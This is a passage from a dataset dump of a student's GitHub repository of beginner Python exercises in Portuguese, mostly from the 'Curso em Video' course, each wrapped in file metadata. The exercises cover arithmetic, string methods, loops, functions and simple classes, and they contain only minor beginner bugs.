impar')\n\n"},{"alpha_fraction":0.7527173757553101,"alphanum_fraction":0.75951087474823,"avg_line_length":48.13333511352539,"blob_id":"137e190f337fe1d92cd3c4a40c71e90875b45a7d","content_id":"8756053d7df55dfa3d2ed5baae788887edde0a13","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":758,"license_type":"permissive","max_line_length":112,"num_lines":15,"path":"/Curso-Em-Video/M3/funcoes2.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\nhelp() -> entrar no console de adjuda interativa do python, depois é so digitar em que queremos ajuda\nou então passar como parametro o que queremos pesquisar\n\nprint(x.__doc__) -> irá nos fornecer a documentação da função X\n\nDocstrings são a documentão de uma função, elas devem ser criadas abaixo da função criada usando ''' doc '''\n\"\"\"\n# Parametros opcionais:\ndef somar(a=0,b=0,c=0):#quando queremos que um parametro seja opcional colo\n s = a+b+c # lembre-se que variaveis criads dentro da função só funcionam na função chamadas variaveis locais\n return s #return é útil quando temos queremos apenas o valor resultante\n\nsomar(3,2)\n# Se quisermos usar uma variavel global em uma função nos colocamos o parametro \"global\" antes"},{"alpha_fraction":0.5874999761581421,"alphanum_fraction":0.637499988079071,"avg_line_length":39,"blob_id":"a8e8bf56d7e0a2cdeb3672748cb55f2657ecea1f","content_id":"234c3429987e72d4f51deda7d7b1bc6cd52e0139","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":162,"license_type":"permissive","max_line_length":55,"num_lines":4,"path":"/Curso-Em-Video/M1/ex13.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nsal = float(input('Digite o salário do funcionario: '))\nnsal = sal +(sal*(15/100))\nprint(f'O novo salario com 15% de aumento é {nsal}')\n"},{"alpha_fraction":0.6818181872367859,"alphanum_fraction":0.7121211886405945,"avg_line_length":21,"blob_id":"ed1b4ceb6794666e21539ee3616aca98af684c63","content_id":"49f55ef27cb557214f4521bea836cb8924837624","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":132,"license_type":"permissive","max_line_length":35,"num_lines":6,"path":"/Curso-Em-Video/M1/ex21.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport pygame\npygame.init\npygame.mixer.music.load('ex21.mp3')\npygame.mixer.music.play()\npygame.event.wait()\n"},{"alpha_fraction":0.41160520911216736,"alphanum_fraction":0.6339479684829712,"avg_line_length":44,"blob_id":"dd3c226159602f3ce8fbb123d12f8c9e60a5804b","content_id":"9ed7fd0d4446e7e82421cd683be7a57ee64074c8","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1844,"license_type":"permissive","max_line_length":71,"num_lines":41,"path":"/Prova/main.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from Prova.Funcoes import crie_matriz,escrever_memoria,imprimir_memoria\nmat_memoria = []\n\n\nif __name__ == '__main__':\n letra = input(\"Digite uma letra 'A','B' ou 'C'\").upper()\n if letra == 'A':\n matriz = crie_matriz (8,8,\".\")\n escrever_memoria('00000001', '00011000',matriz)\n escrever_memoria('00000010', '00100100',matriz)\n escrever_memoria('00000011', '01000010',matriz)\n escrever_memoria('00000100', '01111110',matriz)\n escrever_memoria('00000101', '01000010',matriz)\n escrever_memoria('00000110', '01000010',matriz)\n escrever_memoria('00000111', '01000010',matriz)\n escrever_memoria('00001000', '00000000',matriz)\n\n imprimir_memoria(matriz)\n elif letra == 'B':\n matriz2 = crie_matriz(8, 8, \".\")\n escrever_memoria('00000001', '00000000', matriz2)\n escrever_memoria('00000010', '01111110', matriz2)\n escrever_memoria('00000011', '01000001', matriz2)\n escrever_memoria('00000100', '01111110', matriz2)\n escrever_memoria('00000101', '01000010', matriz2)\n escrever_memoria('00000110', '01000001', matriz2)\n escrever_memoria('00000111', '01111110', matriz2)\n escrever_memoria('00001000', '00000000', matriz2)\n\n imprimir_memoria(matriz2)\n elif letra == 'C':\n matriz3 = crie_matriz(8, 8, \".\")\n escrever_memoria('00000001', '00000111',matriz3)\n escrever_memoria('00000010', '00001000', matriz3)\n escrever_memoria('00000011', '00100000', matriz3)\n escrever_memoria('00000100', '01000000', matriz3)\n escrever_memoria('00000101', '01000000', matriz3)\n escrever_memoria('00000110', '00100000', matriz3)\n escrever_memoria('00000111', '00010000', matriz3)\n escrever_memoria('00001000', '00000111', matriz3)\n imprimir_memoria(matriz3)"},{"alpha_fraction":0.4318840503692627,"alphanum_fraction":0.5130434632301331,"avg_line_length":21.29032325744629,"blob_id":"80ae8b527b3a1ba79414f209d85c33852646a694","content_id":"bf7d847d24bcedc355a96673ae46cc126d1a2ba4","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":693,"license_type":"permissive","max_line_length":57,"num_lines":31,"path":"/Curso-Em-Video/M3/ex106.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"c = ('\\033[m', # 0 sem cores\n '\\033[0;30;41m', # vermelho\n '\\033[0;30m;42', # verde\n '\\033[0;30m;43', # amarelo\n '\\033[0;30m;44', # azul\n '\\033[0;30m;45', # roxo\n '\\033[7;30m;' # branco\n );\ndef ajuda(com):\n titulo(f'Acessando o manual do comando \\'{com}\\'', 4)\n help(com)\n\ndef titulo(msg, cor=0):\n tam = len(msg) + 4\n print(c[cor], end='')\n print('~' * tam)\n print(f' {msg}')\n print('~' * tam)\n print(c[0], end='')\n\n\n\ncomando = ''\nwhile True:\n titulo('SISTEMA DE AJUDA PyHELP', 2)\n comando = str(input('Função da bblioteca >'))\n if comando.upper() == 'FIM':\n break\n else:\n ajuda(comando)\ntitulo('ATÉ LOGO!',1)"},{"alpha_fraction":0.6237288117408752,"alphanum_fraction":0.6508474349975586,"avg_line_length":27.14285659790039,"blob_id":"e44a98be2c7e27c2d4bf2bd66a6e46bd51c6f839","content_id":"c76356cee12cd31a334ad64204a026dc92258a71","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":590,"license_type":"permissive","max_line_length":50,"num_lines":21,"path":"/Curso-Em-Video/M3/mod109.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"def aumentar(preco =0, taxa=0, formato=False):\n res = preco + (preco * taxa/100)\n return res if formato is False else moeda(res)\n\n\ndef diminuir(preco = 0 , taxa=0, formato=False):\n res = preco - (preco * taxa/100)\n return res if formato is False else moeda(res)\n\n\ndef dobro(preco =0, formato=False):\n res = preco * 2\n return res if formato is False else moeda(res)\n\n\ndef metade(preco =0, formato=False):\n res = preco/ 2\n return res if formato is False else moeda(res)\n\ndef moeda(preco =0, moeda ='R$', format=False):\n return f'{moeda}{preco:.2f}'.replace('.',',')"},{"alpha_fraction":0.5982906222343445,"alphanum_fraction":0.6068376302719116,"avg_line_length":38,"blob_id":"e3a892b3efcaa9ad761bdfa45d9645c2f7fb1157","content_id":"9f8b4a3e4514de77d6444d0ca8816725dfe0a00f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":119,"license_type":"permissive","max_line_length":52,"num_lines":3,"path":"/Curso-Em-Video/M1/bemvindo.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nnome =input(str(\"Qual é o seu nome? \"))\nprint(f'Olá, {nome} seja bem vindo(a)'.format(nome))\n"},{"alpha_fraction":0.6262626051902771,"alphanum_fraction":0.6262626051902771,"avg_line_length":28.117647171020508,"blob_id":"abeeee0847e86e4d8be4f3450ab6a508cb1e6c2e","content_id":"75b205c3ee999df8a070aef8041968b1058a059a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":497,"license_type":"permissive","max_line_length":54,"num_lines":17,"path":"/Paradigmas_Program/carrinho_compra.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from datetime import datetime\nclass CarrinhoCompra:\n def __init__(self, num_pedido,o_cliente):\n self.num_pedido = num_pedido\n self.cliente = o_cliente\n self.produtos = list()\n\n def get_num_pedido(self):\n return self.num_pedido\n\n def get_cliente_nome(self):\n return self.cliente.get_nome()\n\n def mostra_carrinho(self):\n print('- Mostra carrinho: ')\n for produto in self.produtos:\n print('Descrição: ',produto.get_descricao)\n"},{"alpha_fraction":0.6638655662536621,"alphanum_fraction":0.6722689270973206,"avg_line_length":38.66666793823242,"blob_id":"a57872cb86bfb099fbf50ca806e26374fe6ba21a","content_id":"4761e05c9557a022aecedc8fd2d726e6b3a200fc","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":239,"license_type":"permissive","max_line_length":88,"num_lines":6,"path":"/Curso-Em-Video/M1/ex11.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nl = float(input('Digite a largura da parede: '))\nh = float(input('Digite a altura da parede: '))\narea = l * h\ntlitro= area/2\nprint(f'A quantidade de tinta necessaria para limpar uma parede de {area}m é {tlitro}L')\n"},{"alpha_fraction":0.6377952694892883,"alphanum_fraction":0.665354311466217,"avg_line_length":27.22222137451172,"blob_id":"1662dc7444ba0e77e4dcc228f0f9fd3003e170dc","content_id":"a0347df1ecb2b5e51359dba37d0a0741c2049985","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":254,"license_type":"permissive","max_line_length":80,"num_lines":9,"path":"/Curso-Em-Video/M1/ex15.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nkm = float(input('Digite a Quantidade de Km rodados: '))\ndia= int(input('Digite a quantidade de dias pelos quais o carro foi alugado: '))\n\ntkm =km * 0.15\ntdia=dia *60.0\ntotal= tkm + tdia\n\nprint(f'O total da viagem foi R${total}')\n"},{"alpha_fraction":0.4695121943950653,"alphanum_fraction":0.48170730471611023,"avg_line_length":22.4761905670166,"blob_id":"92c1d5d3d825a0ca2fcd017d2106df5c96fde0b7","content_id":"8cef9c0c6cbd678ff91f477baea8446ebc347afe","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":496,"license_type":"permissive","max_line_length":50,"num_lines":21,"path":"/Curso-Em-Video/M3/ex102.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"def fatorial(n, show=0):\n \"\"\"\n -> Calcula o Fatorial de um número.\n :param n: O número a ser calculado\n :param show: (opcional) mostra ou não a conta\n :return: O valor de um fatorial de um número n\n \"\"\"\n f = 1\n for i in range(n, 0, -1):\n if show:\n print(i, end='')\n if i > 1:\n print(' x ',end='')\n else:\n print(' = ',end='')\n f*= i\n return f\n\n\nprint(fatorial(6, show=True))\nhelp(fatorial)"},{"alpha_fraction":0.5099999904632568,"alphanum_fraction":0.5600000023841858,"avg_line_length":15.666666984558105,"blob_id":"56800f950dd9baaf5efe8bd2cee5b6a48da2f7d3","content_id":"2132dbc8956c161e542d5852fb530421428a48a5","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":200,"license_type":"permissive","max_line_length":47,"num_lines":12,"path":"/Curso-Em-Video/M1/ex23.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn =str(input('Digite um numero de 0 a 9999: '))\n\nu =n[3]\nd =n[2]\nc =n[1]\nm =n[0]\n\nprint(f'unidades:{u}')\nprint(f'Dezenas: {d}')\nprint(f'Centenas: {c}')\nprint(f'Milhares: {m}')\n"},{"alpha_fraction":0.6019999980926514,"alphanum_fraction":0.6259999871253967,"avg_line_length":30.28125,"blob_id":"8cca38c5d77e2d009c8c53b0bb747e0cd8da96bc","content_id":"7a8c7c964f82fae01cb8f61076e92cfd09c0ed48","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1005,"license_type":"permissive","max_line_length":66,"num_lines":32,"path":"/Curso-Em-Video/M3/mod110.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"def aumentar(preco =0, taxa=0, formato=False):\n res = preco + (preco * taxa/100)\n return res if formato is False else moeda(res)\n\n\ndef diminuir(preco = 0 , taxa=0, formato=False):\n res = preco - (preco * taxa/100)\n return res if formato is False else moeda(res)\n\n\ndef dobro(preco =0, formato=False):\n res = preco * 2\n return res if formato is False else moeda(res)\n\n\ndef metade(preco =0, formato=False):\n res = preco/ 2\n return res if formato is False else moeda(res)\n\ndef moeda(preco =0, moeda ='R$', format=False):\n return f'{moeda}{preco:.2f}'.replace('.',',')\n\ndef resumo(preco, au, red):\n print('-' * 40)\n print('RESUMO DO VALOR'.center(40))\n print('-'*40)\n print(f'A Preço analiisado:\\t\\t{preco}')\n print(f'Dobro do Preço:\\t\\t\\t{dobro(preco, True)}')\n print(f'Metade do preço:\\t\\t{metade(preco)}')\n print(f'{au}% de Aumento:\\t\\t\\t{aumentar(preco, au, True)}')\n print(f'{red}% de Redução:\\t\\t\\t{diminuir(preco, red, True)}')\n print('-' * 40)"},{"alpha_fraction":0.4819277226924896,"alphanum_fraction":0.5180723071098328,"avg_line_length":28.049999237060547,"blob_id":"20d1ac2bb1c635cfed5ebe3844e88b19b4bbc867","content_id":"94482a9b940193b547e34b54da2499ed59a76da1","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":582,"license_type":"permissive","max_line_length":74,"num_lines":20,"path":"/Curso-Em-Video/M2/ex69.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nprint('\\n Cadastre uma pessoa')\nmaior = 0\nh = 0\nmm20 = 0\nwhile True:\n idade = int(input('Idade:'))\n sexo = str(input('Sexo: [M/F] ')).upper()\n op = str(input('Deseja continuar?[S/N] ')).upper()\n if idade > 18:\n maior +=1\n if sexo == 'M':\n h += 1\n if sexo =='F' and idade < 20:\n mm20+=1\n if op =='N':\n print(f'\\n O total de pessoas com mais de 18 anos é {maior}'\n f'\\n Ao todo temos {h} homens cadastrados'\n f'\\n E temos {mm20} mulheres com menos de 20 anos de idade')\n break\n"},{"alpha_fraction":0.5511810779571533,"alphanum_fraction":0.5649606585502625,"avg_line_length":32.86666488647461,"blob_id":"a4f53c4fdf385e46c6984fc203d7371fb706bb14","content_id":"f2c3c9ac27027e84044293d1fc809a03e3a53206","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":518,"license_type":"permissive","max_line_length":61,"num_lines":15,"path":"/Curso-Em-Video/M2/ex37.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn = int(input('Digite um valor para ser convertido: '))\nop= int(input(\"\"\"Escoolha uma opção para converter a base:\n \\n [1] - Binarios\n \\n [2] - Octal\n \\n [3] - Hexadecimal\n \"\"\"))\nif op == 1:\n print('O número {} em binario é {}'.format(n,bin(n)))\nelif op == 2:\n print('O número {} em octal é {}'.format(n,oct(n)))\nelif op ==3:\n print('O número {} em hexadecimal é {}'.format(n,hex(n)))\nelse:\n print('Opção invalida, por favor tente novamente.')\n"},{"alpha_fraction":0.6120689511299133,"alphanum_fraction":0.6206896305084229,"avg_line_length":37.66666793823242,"blob_id":"520eabad2910186712a5a48ca919f6e748dce26c","content_id":"ce8926c2052056900f07abb88675ac9ffb6db6ab","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":118,"license_type":"permissive","max_line_length":49,"num_lines":3,"path":"/Curso-Em-Video/M1/ex25.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nnome = str(input('Digite o seu nome completo: '))\nprint(\"Você é um silva? \",'Silva'in nome)\n"},{"alpha_fraction":0.6569873094558716,"alphanum_fraction":0.6823956370353699,"avg_line_length":38.35714340209961,"blob_id":"021afcd0b4535e769b8e8f4bd91960e538699b98","content_id":"81097dd0412ae34f79cc996f0789ea0b0873e84f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":554,"license_type":"permissive","max_line_length":94,"num_lines":14,"path":"/Curso-Em-Video/M2/ex36.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nvalor = float(input('Digite o valor da casa: '))\nsal = float(input('Digite o valor do seu salario: '))\nqtd_anos =int(input('Em quantos anos você pretende pagar?'))\n\nparcela = valor/(qtd_anos*12)\nlim = sal + (sal * 30/100)\n\nif parcela > lim:\n print(f'O valor do emprestimo execedeu 30% por tanto não é pssivel realizar o emprestimo')\nelif parcela == lim:\n print(f'O emprestimo foi aprovado, com {qtd_anos*12} parcelas de {parcela} ')\nelse:\n print(f'O emprestimo foi aprovado, com {qtd_anos*12} parcelas de {parcela} ')\n"},{"alpha_fraction":0.529540479183197,"alphanum_fraction":0.5437636971473694,"avg_line_length":26.66666603088379,"blob_id":"06e6df70ce73709c5e7dc64ae7f23e3c906eb148","content_id":"167b71f493e9b1f2db2a853fb1fe04c44e0e6fc4","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":914,"license_type":"permissive","max_line_length":59,"num_lines":33,"path":"/Curso-Em-Video/M3/ex84.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ntotal = list()\npeoples = list()\ngreat = 0\nlower = 0\nwhile True:\n name = str(input('Digite o nome: '))\n peoples.append(name)\n wheigth = float(input('Digite o peso da pessoa: '))\n peoples.append(wheigth)\n if len(total) == 0:\n great = lower = peoples[1]\n else:\n if peoples[1] > great:\n great = peoples[1]\n if peoples[1] < lower:\n lower = peoples[1]\n total.append(peoples[:])\n peoples.clear()\n option = str(input('Deseja continuar? [S/N] ')).upper()\n if option == 'N':\n break\nprint(f'\\n A lista formada foi: {total}'\n f'\\n No total de :{len(total)} pessoas')\nprint(f'O maior peso foi {great} do ',end='')\nfor p in total:\n if p[1] == great:\n print(f'[{p[0]}]', end=' ')\nprint()\nprint(f'O menor peso foi de {lower} do ',end='')\nfor p in total:\n if p[1] == lower:\n print(f'[{p[0]}]', end=' ')\n\n"},{"alpha_fraction":0.6265060305595398,"alphanum_fraction":0.6578313112258911,"avg_line_length":26.66666603088379,"blob_id":"99275e2fadd4c26baf2143d148cb5c387d16a2a0","content_id":"bf28d5b07f96b411deb00d2483ef8bde2dab2cd3","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":429,"license_type":"permissive","max_line_length":90,"num_lines":15,"path":"/Curso-Em-Video/M1/oparitmeticos.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-> + soma\n-> - subração\n-> * multiplicação\n-> / divisão\n-> // divisão inteira\n-> % módulo\n-> ** potencia\n* A ordem de precedencia é a mesma da matematica.\n* formatação com print\n{:>20}.format(string) -> alinhamento a direita com 20 espaços\n{:^20}.format(string) -> Centralizado em 20 espaços\n{:=^20}.format(string) -> centraliza em 20 espaçoos prenchendo os que estão vazios com '='\n\"\"\"\n"},{"alpha_fraction":0.6034482717514038,"alphanum_fraction":0.6231527328491211,"avg_line_length":35.90909194946289,"blob_id":"38be3ece68c0b57037e3460215f188aa1b6b61f4","content_id":"85d2bee4fdbfa702ffe50b531252b0a84f7bca6e","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":413,"license_type":"permissive","max_line_length":90,"num_lines":11,"path":"/Curso-Em-Video/M2/ex58.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport random\nc = 0\nn = int(input('Digite um número: '))\npc = random.randint(0,10)\nwhile n != pc:\n print(f'O Numero que eu pensei era {pc} e você disse {n} infelizmente você errou!!')\n pc = random.randint(0,10)\n n = int(input('Tente novamente, digite um número: '))\n if n == pc:\n print(f'O Numero que eu pensei era {pc} e você disse {n} Parabéns você acertou!!')\n"},{"alpha_fraction":0.5664335489273071,"alphanum_fraction":0.6013985872268677,"avg_line_length":34.75,"blob_id":"e73313134b525391d0a77843a90c3d9c54c64695","content_id":"1fbe100b9c5d741b612a3c5e0fa1d0966c6df251","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":146,"license_type":"permissive","max_line_length":50,"num_lines":4,"path":"/Curso-Em-Video/M1/ex12.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\np = float(input(\"Digite o preço do produto: \"))\ndesc = p - (p*0.05)\nprint(f'O novo preço com 5% de desconto é {desc}')\n"},{"alpha_fraction":0.4898785352706909,"alphanum_fraction":0.5506072640419006,"avg_line_length":26.44444465637207,"blob_id":"9b9c0431b7ed882477544e351c455de21f7d159c","content_id":"799787dd283a5310ad6743ae7c6d7dd5630ce025","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":251,"license_type":"permissive","max_line_length":53,"num_lines":9,"path":"/Curso-Em-Video/M1/ex34.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nsal = float(input('Digite o valor do seu salário: '))\n\nif sal > 1250:\n nsal = sal + (sal * (10/100))\n print(f'O novo salario é : {nsal}')\nelse:\n nsal = sal +(sal * (15/100))\n print(f'O novo salário é : {nsal}')\n"},{"alpha_fraction":0.8142292499542236,"alphanum_fraction":0.8142292499542236,"avg_line_length":24.399999618530273,"blob_id":"1d76a0079037fedfed9aff7a88a24c90209932a1","content_id":"36333281e9e4865207c3bf4774bbe9190387a62b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":255,"license_type":"permissive","max_line_length":40,"num_lines":10,"path":"/PythonPOO/Associacao/main.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from Escritor import Escritor\nfrom Escritor import Caneta\nfrom Escritor import MaquinaDeEscrever\n\nescritor = Escritor('Joseph')\ncaneta = Caneta('Bic')\nMaquina = MaquinaDeEscrever()\n\nescritor.ferramenta = caneta #associação\nescritor.ferramenta.escrever()"},{"alpha_fraction":0.5584415793418884,"alphanum_fraction":0.6883116960525513,"avg_line_length":25,"blob_id":"c0ea85eac8565774b49df79cbf56785fc640aaec","content_id":"387d12ea5e4300655db3ebf011687244c0a0efa9","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":77,"license_type":"permissive","max_line_length":38,"num_lines":3,"path":"/Curso-Em-Video/M3/ex111.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import mod111\np = float(input('Digite o preco: R$'))\nmod111.resumo(p, 80 ,35)"},{"alpha_fraction":0.5027777552604675,"alphanum_fraction":0.5333333611488342,"avg_line_length":26.69230842590332,"blob_id":"23bf5b79bcf1f502d6ec3e3ba88a47d0c31f6a99","content_id":"72676b31d1fbbcbe1f29f285cdf473f94e2b84bb","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":364,"license_type":"permissive","max_line_length":51,"num_lines":13,"path":"/Curso-Em-Video/M3/ex85.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ntotal = [[],[]]\ncount = 1\nfor i in range(1,8):\n value=(int(input(f'Digite o {count} valor: ')))\n count += 1\n if value % 2 == 0:\n total[0].append(value)\n else:\n total[1].append(value)\nprint(f'\\n A lista formada é {total}'\n f'\\n A lista dos pares é {total[0]}'\n f'\\n A lista dos ímpares é {total[1]}')\n"},{"alpha_fraction":0.5869565010070801,"alphanum_fraction":0.6231883764266968,"avg_line_length":33.5,"blob_id":"d8e7618605befcb79ed63cde56b807daa551272d","content_id":"835686a999f8be1a764f1738aac05fddc78cbf6e","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":139,"license_type":"permissive","max_line_length":53,"num_lines":4,"path":"/Curso-Em-Video/M1/ex14.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nt = float(input('Digite a temperatura em celsius: '))\nf =((t*9)/5)+32\nprint(f'A temperatura em fahrenheir é {f}')\n"},{"alpha_fraction":0.39340659976005554,"alphanum_fraction":0.42527472972869873,"avg_line_length":30.310344696044922,"blob_id":"41db0192908e330299275338f20779b1a8a6c68a","content_id":"3e3d1beec2d915ec19f59944bef82228866ad7eb","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":919,"license_type":"permissive","max_line_length":58,"num_lines":29,"path":"/Curso-Em-Video/M2/ex59.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nmaior = 0\nop = 0\nn1 = int(input('Digite o primeiro número: '))\nn2 = int(input('Digite o segundo número: '))\nwhile op != 5:\n op = int(input('O que deseja fazer?'\n '\\n[1] -> somar'\n '\\n[2] -> multiplicar'\n '\\n[3] -> maior'\n '\\n[4] -> novos números'\n '\\n[5] -> sair do programa'))\n if op == 1:\n s =n1+n2\n print(f' {n1} + {n2} = {s}')\n elif op == 2:\n m = n1 * n2\n print(f' {n1} X {n2} = {m}')\n elif op == 3:\n if n1> n2:\n maior = n1\n print(f'O Maior número é {maior}')\n else:\n maior = n2\n print(f'O maior número é {maior}')\n elif op== 4:\n print('\\n Escolha novos números')\n n1 =int(input('Digite o primeiro numero: '))\n n2 =int(input('Digite o segundo número: '))\n\n\n"},{"alpha_fraction":0.6186612844467163,"alphanum_fraction":0.6384381055831909,"avg_line_length":36.92307662963867,"blob_id":"8febc055639483f1bc5e48143d8a41ffb7a2df10","content_id":"3343b3bac8db2e981ae188239addcf634e742bcd","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1990,"license_type":"permissive","max_line_length":107,"num_lines":52,"path":"/Curso-Em-Video/M1/strings.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\"\"\"\n* podemos fatiar uma string da seguinte maneira:\n -> frase = 'curso em video python'\n -> cada letra representa um espaço na memoria no total temos 21(contando com os espaços)\n frase[9:21]\n -> o Comando a cima indica que queremos mostra do espaço nove até o 20(o ultimo sempre é ignorado)\n frase[9:21:2]\n -> o terceiro parametro indica que iremos percorrer de 9 a 20 de 2 em 2 casas\n frase[:5]\n -> do 0 até o 4\n frase[15:]\n -> do 15 até o fim\n fase[3::9]\n -> de 3 a 9 pulando de 3 em 3\n* funções\n # len(frase)\n -> mostra a quantidade de caracteres que a string possui(neste caso 21)\n # frase.count('o')\n -> conta a quantidade de caracteres 'o' existem dentro da string\n -> Podemos usar o fatiamento adicionando mais dois parametros ex: fase.cont('o',0,13)\n conte 'o' de 0 a 13\n # fase.find('deo')\n -> mostra o numeros da string relacionados aos caracteres especificados, em outras palavras\n em que numero começa a sequencia 'deo' caso o parametro não exista na string a função retornra\n -1\n # 'curso' in frase\n -> verifica se existe a string curso em frase\n #fase.replace('python','android')\n -> troca o primeiro parametro pelo segundo\n # fase.lower()\n -> deixa minusculo\n #fase.upper()\n -> deixa maiusculo\n\n #fase.capitalize()\n -> deixa apenas o primeiro caracter maiusculo\n\n #frase.title()\n -> A primeira letra de todas as palavras da string será maiscula\n #frase.strip()\n -> remove os espaços vazios no inicio e no fim da string\n -> lstrip remove os espaços da esquerda\n #frase.split()\n -> gera uma lista com as palavras separadas entre espaços da string\n #'-'.join(frase)\n -> transfor uma lista em uma string única, o que vem antes do ponto ficara entre as strings unidas.\n\n\n\"\"\"\nfrase = 'Curso em video python'\nprint(frase.count('O'))\n"},{"alpha_fraction":0.5609756112098694,"alphanum_fraction":0.5640243887901306,"avg_line_length":26.33333396911621,"blob_id":"b4dca977fc4cda14d7d023893c1954ebbaee2886","content_id":"ecfa88f8c2f23c82e02fda2a7849d2da9467b6cf","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":329,"license_type":"permissive","max_line_length":55,"num_lines":12,"path":"/Curso-Em-Video/M3/ex79.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nvetor = []\nwhile True:\n n = int(input('Digite um numero: '))\n if n not in vetor:\n vetor.append(n)\n else:\n print('valor Duplicado não irei adicionar!!!')\n op = str(input('Deseja continuar? [S/N] ')).upper()\n if op == 'N':\n break\nprint(f'O vetor gerado foi: {sorted(vetor)}')\n"},{"alpha_fraction":0.5995423197746277,"alphanum_fraction":0.6384439468383789,"avg_line_length":26.3125,"blob_id":"f0492d1f47b1882261f13fe6945d120d3f87ba3b","content_id":"dd727ad58de3232e65accf9dc9606a0de69580d9","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":442,"license_type":"permissive","max_line_length":87,"num_lines":16,"path":"/Curso-Em-Video/M2/ex39.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\n\nnas = int(input('Digite o ano de seu nascimento: '))\nano = 2020\n\nidade = ano - nas\n\nif idade < 18:\n falta = 18 - idade\n print(f'você tem {idade} anos, ainda faltam {falta} anos para você se alistar')\nelif idade > 18:\n passou = idade - 18\n print(f'Você tem {idade} anos, está {passou} anos atrazado para o seu alisamento!')\nelif idade == 18:\n print(f'Você tem 18 anos deve se alista esse 